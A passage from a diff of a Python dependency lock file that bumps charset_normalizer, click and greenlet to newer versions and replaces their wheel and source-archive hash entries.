"sha256:8c041122946b7ba21bb32c45b1aa57b1be35527690aeb3c5c234521085632eee"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-win_arm64.whl", hash = "sha256:375b83ed0aecfce76c16d198fbc21f3b11b337d68662bea0a995046682a11419"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0e94703ec9684807f20cfb5eed95c70f67f2a8f21ad620146d7b5a13677b93e5"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2a441ea71902098ffe78c5abe6c494f44160b4af614ed16c3d9a3b1d17fd8ee2"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:304b13570067b2547562e308af560b3963857b1fa90bd6afd978130130fe2d6a"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4773092f8019072343a7447203308b176e10199920eb02d6195e81bbb3274c29"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:04ce310cb89c15df659582aee80a0603788732a5e017d5bd5c81158106ce249c"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:c0323c9daef75ef2e5083624b4585018a0c9d5e3b40f607eed81a311270b934b"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:871ff67ea1aad4dfd91736464934d56b32dac49f9fbe16cddba36198a7b3a0db"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:67830fc78e67501f47bb950471b2dcb9b35b140084429318e862895a8e89c993"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:3d92613ec25e43b05f042302531ec0f00b8445190e43325880cbd6ab7c2581da"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:280081916dc341820640489a66e4696049401ef1cf6dd672f672e70ad915aca3"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-win32.whl", hash = "sha256:ac351b3b8014eead140e77e9717e2992c6bbe30b63bc3422422eb84865412e3d"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-win_amd64.whl", hash = "sha256:6366a16e1a25018694d6a5d784d09b046edc9eac40ea2b54065c3052672516a1"}, + {file = "charset_normalizer-3.4.9-cp311-cp311-win_arm64.whl", hash = "sha256:1d22856ffbe153a602df38e4a5464f0b748a54002e0d69ac6d2ad0a197cc99ec"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:45b0cc4e3556cd875e09102988d1ab8356c998b596c9fced84547c8138b487a0"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9b2aff1c7b3884512b9512c3eaadd9bab39fb45042ffaaa1dd08ff2b9f8109d9"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9104ed0bd76a429d46f9ec0dbc9b08ad1d2dcdf2b00a5a0daa1c145329b35b44"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7b86a2b16095d250c6f58b3d9b2eee6f4147754344f3dab0922f7c9bf7d226c9"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e226f6218febc71f6c1fc2fafb91c226f75bdc1d8fb12d66823716e891608fd"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:90c44bc373b7687f6948b693cceaea1348ae0975d7474746559494468e3c1d84"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cdef90ae47919cae358d8ab15797a800ed41da7aba5d72419fb510729e2ed4b"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:60f44ade2cf573dad7a277e6f8ca9a51a21dda572b13bd7d8539bb3cd5dbedde"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:a1786910334ed46ab1dd73222f2cd1e05c2c3bb39f6dddb4f8b36fc382058a39"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:03d07803992c6c7bbc976327f34b18b6160327fc81cb82c9d504720ac0be3b62"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-win32.whl", hash = "sha256:78841cccf1af7b40f6f716338d50c0902dbe88d9f800b3c973b7a9a0a693a642"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-win_amd64.whl", hash = "sha256:4b3dac63058cc36820b0dd072f89898604e2d39686fe05321729d00d8ac185a0"}, + {file = "charset_normalizer-3.4.9-cp312-cp312-win_arm64.whl", hash = "sha256:78fa18e436a1a0e58dbd7e02fc4473f3f32cceb12df9dfca542d075961c307d2"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:440eede837960000d74978f0eba527be106b5b9aee0daf779d395276ed0b0614"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:21e764fd1e70b6a3e205a0e46f3051701f98a8cb3fad66eeb80e48bb502f8698"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e4fd89cc178bced6ad29cb3e6dd4aa63fa5017c3524dbd0b25998fb64a87cc8b"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bd47ba7fc3ca94896759ea0109775132d3e7ab921fbf54038e1bab2e46c313c9"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:84fd18bcc17526fc2b3c1af7d2b9217d32c9c04448c16ec693b9b4f1985c3d33"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:5b10cd92fc5c498b35a8635df6d5a100207f88b63a4dc1de7ef9a548e1e2cd63"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a4fbdde9dd4a9ce5fd52c2b3a347bb50cc89483ef783f1cb00d408c13f7a96c0"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:416c229f77e5ea25b3dfd4b582f8d73d7e43c22320302b9ab128a2d3a0b38efe"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:75286256590a6320cf106a0d28970d3560aad9ee09aa7b34fb40524792436d35"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:69b157c5d3292bcd443faca052f3096f637f1e074b98212a933c074ae23dc3b8"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-win32.whl", hash = "sha256:51307f5c71007673a2bf8232ad973483d281e74cb99c8c5a990af1eefa6277d9"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-win_amd64.whl", hash = "sha256:fe2c7201c642b7c308f1675355ad7ff7b66acfe3541625efe5a3ad38f29d6115"}, + {file = "charset_normalizer-3.4.9-cp313-cp313-win_arm64.whl", hash = "sha256:611057cc5d5c0afc743ba8be6bd828c17e0aaa8643f9d0a9b9bb7dea80eb8012"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:0327fcd59a935777d83410750c50600ee9571af2846f71ce40f25b13da1ef380"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a79d9f4d8001473a30c163556b3c3bfebec837495a412dde78b51672f6134f9"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:33bdcc2a32c0a0e861f60841a512c8acc658c87c2ac59d89e3a46dacf7d866e4"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f840ed6d8ecba8255df8c42b87fadeda98ddfc6eeec05e2dc66e26d46dd6f58a"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c25fe15c70c59eb7c5ce8c06a1f3fa1da0ecc5ea1e7a5922c40fd2fa9b0d5046"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:f7fb7d750cfa0a070d2c24e831fd3481019a60dd317ea2b39acbcebc08b6ed81"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4d1c96a7a18b9690a4d46df09e3e3382406ae3213727cd1019ebade1c4a81917"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a4cfde78a9f2880208d16a93b795726a3017d5977e08d1e162a7a31322479c41"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:d4d6fcde76f94f5cb9e43e9e9a61f16dacefd228cbbf6f1a09bd9b219a92f1a1"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:898f0e9068ca27d37f8e83a5b962821df851532e6c4a7d615c1c033f9da6eedf"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-win32.whl", hash = "sha256:c1c948747b03be832dceed96ca815cef7360de9aa19d37c730f8e3f6101aca48"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-win_amd64.whl", hash = "sha256:16b65ea0f2465b6fb52aa22de5eca612aa964ddfec00a912e26f4656cbef890b"}, + {file = "charset_normalizer-3.4.9-cp314-cp314-win_arm64.whl", hash = "sha256:40a126142a56b2dfc0aacbad1de8310cbf60da7656db0e6b16eebd48e3e93519"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:609b3ba8fcc0fb5ab7af00719d0fb6ad0cb518e48e7712d12fd68f1327951198"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51447e9aa2684679af07ca5021c3db526e0284347ebf4ffcec1154c3350cfe32"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cc1b0fff8ead343dae06305f954eb8468ba0ec1a97881f42489d198e4ce3c632"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fa36ec09ef71d158186bc79e359ff5fdd6e7996fe8ab638f00d6b93139ba4fcf"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:df115d4d83168fdf2cae48ef1ff6d1cb4c466364e30861b37121de0f3bf1b990"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:f86c6358749bd4fda175388691e3ba8c46e24c5347d0afd20f9b7edfc9faf07d"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:32286a2c8d167e897177b673176c1e3e00d4057caf5d2b64eef9a3666b03018e"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:83aed2c10721ddd90f68140685391b50811a880af20654c59af6b6c66c40513c"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cd6c3d4b783c556fa00bf540854e42f135e2f256abd29669fcd0da0f2dec79c2"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ee2f2a527e3c1a6e6411eb4209642e138b544a2d72fe5d0d76daf77b24063534"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-win32.whl", hash = "sha256:0d861473f743244d349b50f850d10eb87aeb22bbdcc8e64f79273c94af5a8226"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-win_amd64.whl", hash = "sha256:9b8e0f3107e2200b76f6054de99016eac3ee6762713587b36baaa7e4bd2ae177"}, + {file = "charset_normalizer-3.4.9-cp314-cp314t-win_arm64.whl", hash = "sha256:19ac87f93086ce37b86e098888555c4b4bc48102279bae3350098c0ed664b501"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:253a4a220747e8b5faf57ec320c4f5efb0cef05f647420bf267143ec15dba10a"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:68ce9f4d6b26d5ccbf7fd4459bf75f74a0a146677ebba80597df60cbdb20e6f4"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:58150c9f9b9a552505912d182ccdf26f6396fb6094816ceebcbb20eecabaed94"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:df7276909358e5635ae203673ab7e509ddd224225a8d6b0790bf13eb2bde1cc5"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3c09a49d6cde137258beb3d551994a2927fd35ad5cf96aed573f61bbd67c5f84"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:231ddcbb35e2ff8973e1365db41fe0572662893b99a05deb183b68ad4c0c8bd4"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:920079c3f7456fa213e0829ed2073aaa727fd39d889ead5b4f35d0de5460d04f"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:0fa1aec2d32bcc03c8fa0f6f1712caad1adc38509f31142112e5c9daf5b9c833"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:ad41ba96094304aa090f5a30cb6e4fb3b3f1c264c523394b4c39bbacc4dc92ba"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:43b9e366a31fdd1c87d0eb08f579b4a82b723ea54338f040d6b4e518a026ea29"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-win32.whl", hash = "sha256:93d59d504b230e83c7a843251681959a0b6a9cd76f6e146ce1b8a80eb8739af9"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-win_amd64.whl", hash = "sha256:ddf4af30b417d9fe16481e9b81c27ab2a7cde1ff7ba3e85653b02db7d145dc7b"}, + {file = "charset_normalizer-3.4.9-cp39-cp39-win_arm64.whl", hash = "sha256:476743fe6dfe14a2da12e3ac79125dc84a3b2cf8094369a47a1529b0cd8549fe"}, + {file = "charset_normalizer-3.4.9-py3-none-any.whl", hash = "sha256:68e5f26a1ad57ded6d1cfb85331d1c1a195314756471d97758c48498bb4dcdf5"}, + {file = "charset_normalizer-3.4.9.tar.gz", hash = "sha256:673611bbd43f0810bec0b0f028ddeaaa501190339cac411f347ac76917c3ae7b"}, ] [[package]] name = "click" -version = "8.3.1" +version = "8.4.2" description = "Composable command line interface toolkit" optional = false python-versions = ">=3.10" groups = ["main", "dev"] files = [ - {file = "click-8.3.1-py3-none-any.whl", hash = "sha256:981153a64e25f12d547d3426c367a4857371575ee7ad18df2a6183ab0545b2a6"}, - {file = "click-8.3.1.tar.gz", hash = "sha256:12ff4785d337a1bb490bb7e9c2b1ee5da3112e94a8622f26a6c77f5d2fc6842a"}, + {file = "click-8.4.2-py3-none-any.whl", hash = "sha256:e6f9f66136c816745b9d65817da91d61d957fb16e02e4dcd0552553c5a197b76"}, + {file = "click-8.4.2.tar.gz", hash = "sha256:9a6cea6e60b17ebe0a44c5cc636d94f09bd66142c1cd7d8b4cd731c4917a15f6"}, ] [package.dependencies] @@ -982,66 +927,92 @@ dotenv = ["python-dotenv"] [[package]] name = "greenlet" -version = "3.3.2" +version = "3.5.5" description = "Lightweight in-process concurrent programming" optional = false python-versions = ">=3.10" groups = ["main"] markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\"" files = [ - {file = "greenlet-3.3.2-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:9bc885b89709d901859cf95179ec9f6bb67a3d2bb1f0e88456461bd4b7f8fd0d"}, - {file = "greenlet-3.3.2-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b568183cf65b94919be4438dc28416b234b678c608cafac8874dfeeb2a9bbe13"}, - {file = "greenlet-3.3.2-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:527fec58dc9f90efd594b9b700662ed3fb2493c2122067ac9c740d98080a620e"}, - {file = "greenlet-3.3.2-cp310-cp310-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:508c7f01f1791fbc8e011bd508f6794cb95397fdb198a46cb6635eb5b78d85a7"}, - {file = "greenlet-3.3.2-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ad0c8917dd42a819fe77e6bdfcb84e3379c0de956469301d9fd36427a1ca501f"}, - {file = "greenlet-3.3.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:97245cc10e5515dbc8c3104b2928f7f02b6813002770cfaffaf9a6e0fc2b94ef"}, - {file = "greenlet-3.3.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8c1fdd7d1b309ff0da81d60a9688a8bd044ac4e18b250320a96fc68d31c209ca"}, - {file = "greenlet-3.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:5d0e35379f93a6d0222de929a25ab47b5eb35b5ef4721c2b9cbcc4036129ff1f"}, - {file = "greenlet-3.3.2-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:c56692189a7d1c7606cb794be0a8381470d95c57ce5be03fb3d0ef57c7853b86"}, - {file = "greenlet-3.3.2-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ebd458fa8285960f382841da585e02201b53a5ec2bac6b156fc623b5ce4499f"}, - {file = "greenlet-3.3.2-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a443358b33c4ec7b05b79a7c8b466f5d275025e750298be7340f8fc63dff2a55"}, - {file = "greenlet-3.3.2-cp311-cp311-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4375a58e49522698d3e70cc0b801c19433021b5c37686f7ce9c65b0d5c8677d2"}, - {file = "greenlet-3.3.2-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e2cd90d413acbf5e77ae41e5d3c9b3ac1d011a756d7284d7f3f2b806bbd6358"}, - {file = "greenlet-3.3.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:442b6057453c8cb29b4fb36a2ac689382fc71112273726e2423f7f17dc73bf99"}, - {file = "greenlet-3.3.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:45abe8eb6339518180d5a7fa47fa01945414d7cca5ecb745346fc6a87d2750be"}, - {file = "greenlet-3.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:1e692b2dae4cc7077cbb11b47d258533b48c8fde69a33d0d8a82e2fe8d8531d5"}, - {file = "greenlet-3.3.2-cp311-cp311-win_arm64.whl", hash = "sha256:02b0a8682aecd4d3c6c18edf52bc8e51eacdd75c8eac52a790a210b06aa295fd"}, - {file = "greenlet-3.3.2-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:ac8d61d4343b799d1e526db579833d72f23759c71e07181c2d2944e429eb09cd"}, - {file = "greenlet-3.3.2-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ceec72030dae6ac0c8ed7591b96b70410a8be370b6a477b1dbc072856ad02bd"}, - {file = "greenlet-3.3.2-cp312-cp312-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a2a5be83a45ce6188c045bcc44b0ee037d6a518978de9a5d97438548b953a1ac"}, - {file = "greenlet-3.3.2-cp312-cp312-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ae9e21c84035c490506c17002f5c8ab25f980205c3e61ddb3a2a2a2e6c411fcb"}, - {file = "greenlet-3.3.2-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43e99d1749147ac21dde49b99c9abffcbc1e2d55c67501465ef0930d6e78e070"}, - {file = "greenlet-3.3.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:4c956a19350e2c37f2c48b336a3afb4bff120b36076d9d7fb68cb44e05d95b79"}, - {file = "greenlet-3.3.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6c6f8ba97d17a1e7d664151284cb3315fc5f8353e75221ed4324f84eb162b395"}, - {file = "greenlet-3.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:34308836d8370bddadb41f5a7ce96879b72e2fdfb4e87729330c6ab52376409f"}, - {file = "greenlet-3.3.2-cp312-cp312-win_arm64.whl", hash = "sha256:d3a62fa76a32b462a97198e4c9e99afb9ab375115e74e9a83ce180e7a496f643"}, - {file = "greenlet-3.3.2-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:aa6ac98bdfd716a749b84d4034486863fd81c3abde9aa3cf8eff9127981a4ae4"}, - {file = "greenlet-3.3.2-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ab0c7e7901a00bc0a7284907273dc165b32e0d109a6713babd04471327ff7986"}, - {file = "greenlet-3.3.2-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d248d8c23c67d2291ffd47af766e2a3aa9fa1c6703155c099feb11f526c63a92"}, - {file = "greenlet-3.3.2-cp313-cp313-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ccd21bb86944ca9be6d967cf7691e658e43417782bce90b5d2faeda0ff78a7dd"}, - {file = "greenlet-3.3.2-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b6997d360a4e6a4e936c0f9625b1c20416b8a0ea18a8e19cabbefc712e7397ab"}, - {file = "greenlet-3.3.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:64970c33a50551c7c50491671265d8954046cb6e8e2999aacdd60e439b70418a"}, - {file = "greenlet-3.3.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1a9172f5bf6bd88e6ba5a84e0a68afeac9dc7b6b412b245dd64f52d83c81e55b"}, - {file = "greenlet-3.3.2-cp313-cp313-win_amd64.whl", hash = "sha256:a7945dd0eab63ded0a48e4dcade82939783c172290a7903ebde9e184333ca124"}, - {file = "greenlet-3.3.2-cp313-cp313-win_arm64.whl", hash = "sha256:394ead29063ee3515b4e775216cb756b2e3b4a7e55ae8fd884f17fa579e6b327"}, - {file = "greenlet-3.3.2-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:8d1658d7291f9859beed69a776c10822a0a799bc4bfe1bd4272bb60e62507dab"}, - {file = "greenlet-3.3.2-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:18cb1b7337bca281915b3c5d5ae19f4e76d35e1df80f4ad3c1a7be91fadf1082"}, - {file = "greenlet-3.3.2-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c2e47408e8ce1c6f1ceea0dffcdf6ebb85cc09e55c7af407c99f1112016e45e9"}, - {file = "greenlet-3.3.2-cp314-cp314-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e3cb43ce200f59483eb82949bf1835a99cf43d7571e900d7c8d5c62cdf25d2f9"}, - {file = "greenlet-3.3.2-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63d10328839d1973e5ba35e98cccbca71b232b14051fd957b6f8b6e8e80d0506"}, - {file = "greenlet-3.3.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8e4ab3cfb02993c8cc248ea73d7dae6cec0253e9afa311c9b37e603ca9fad2ce"}, - {file = "greenlet-3.3.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:94ad81f0fd3c0c0681a018a976e5c2bd2ca2d9d94895f23e7bb1af4e8af4e2d5"}, - {file = "greenlet-3.3.2-cp314-cp314-win_amd64.whl", hash = "sha256:8c4dd0f3997cf2512f7601563cc90dfb8957c0cff1e3a1b23991d4ea1776c492"}, - {file = "greenlet-3.3.2-cp314-cp314-win_arm64.whl", hash = "sha256:cd6f9e2bbd46321ba3bbb4c8a15794d32960e3b0ae2cc4d49a1a53d314805d71"}, - {file = "greenlet-3.3.2-cp314-cp314t-macosx_11_0_universal2.whl", hash = "sha256:e26e72bec7ab387ac80caa7496e0f908ff954f31065b0ffc1f8ecb1338b11b54"}, - {file = "greenlet-3.3.2-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b466dff7a4ffda6ca975979bab80bdadde979e29fc947ac3be4451428d8b0e4"}, - {file = "greenlet-3.3.2-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b8bddc5b73c9720bea487b3bffdb1840fe4e3656fba3bd40aa1489e9f37877ff"}, - {file = "greenlet-3.3.2-cp314-cp314t-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:59b3e2c40f6706b05a9cd299c836c6aa2378cabe25d021acd80f13abf81181cf"}, - {file = "greenlet-3.3.2-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b26b0f4428b871a751968285a1ac9648944cea09807177ac639b030bddebcea4"}, - {file = "greenlet-3.3.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:1fb39a11ee2e4d94be9a76671482be9398560955c9e568550de0224e41104727"}, - {file = "greenlet-3.3.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:20154044d9085151bc309e7689d6f7ba10027f8f5a8c0676ad398b951913d89e"}, - {file = "greenlet-3.3.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c04c5e06ec3e022cbfe2cd4a846e1d4e50087444f875ff6d2c2ad8445495cf1a"}, - {file = "greenlet-3.3.2.tar.gz", hash = "sha256:2eaf067fc6d886931c7962e8c6bede15d2f01965560f3359b27c80bde2d151f2"}, + {file = "greenlet-3.5.5-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:816230f469381ad0a43abc9fa8dda5a699e32fb78958dde32ded93213b70a667"}, + {file = "greenlet-3.5.5-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5433cf291e0ef9114bd14d0d824db6e5e4a43033234bca48181a9597acca07b"}, + {file = "greenlet-3.5.5-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:19d59f068887d8c5907fc177f27683413ace3011b6ed646c0b309266e74a6502"}, + {file = "greenlet-3.5.5-cp310-cp310-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:86c5113d698cb8d927b2750bb1f1d59eefe3a37e0e0217491aee29a7f84ef52c"}, + {file = "greenlet-3.5.5-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9ff00e12102358292087274dfb1669132387ff6e7920ebf9d85f4826ce0d3a56"}, + {file = "greenlet-3.5.5-cp310-cp310-manylinux_2_39_riscv64.whl", hash = "sha256:c69bed34470abfcd456984fdadaa18e62169af4480335c45f3c32d1d9c12e638"}, + {file = "greenlet-3.5.5-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:523bb8e27614d77101ea7a8cf59f8d91219b72d5c29f6a038c92b50828bfa8d0"}, + {file = 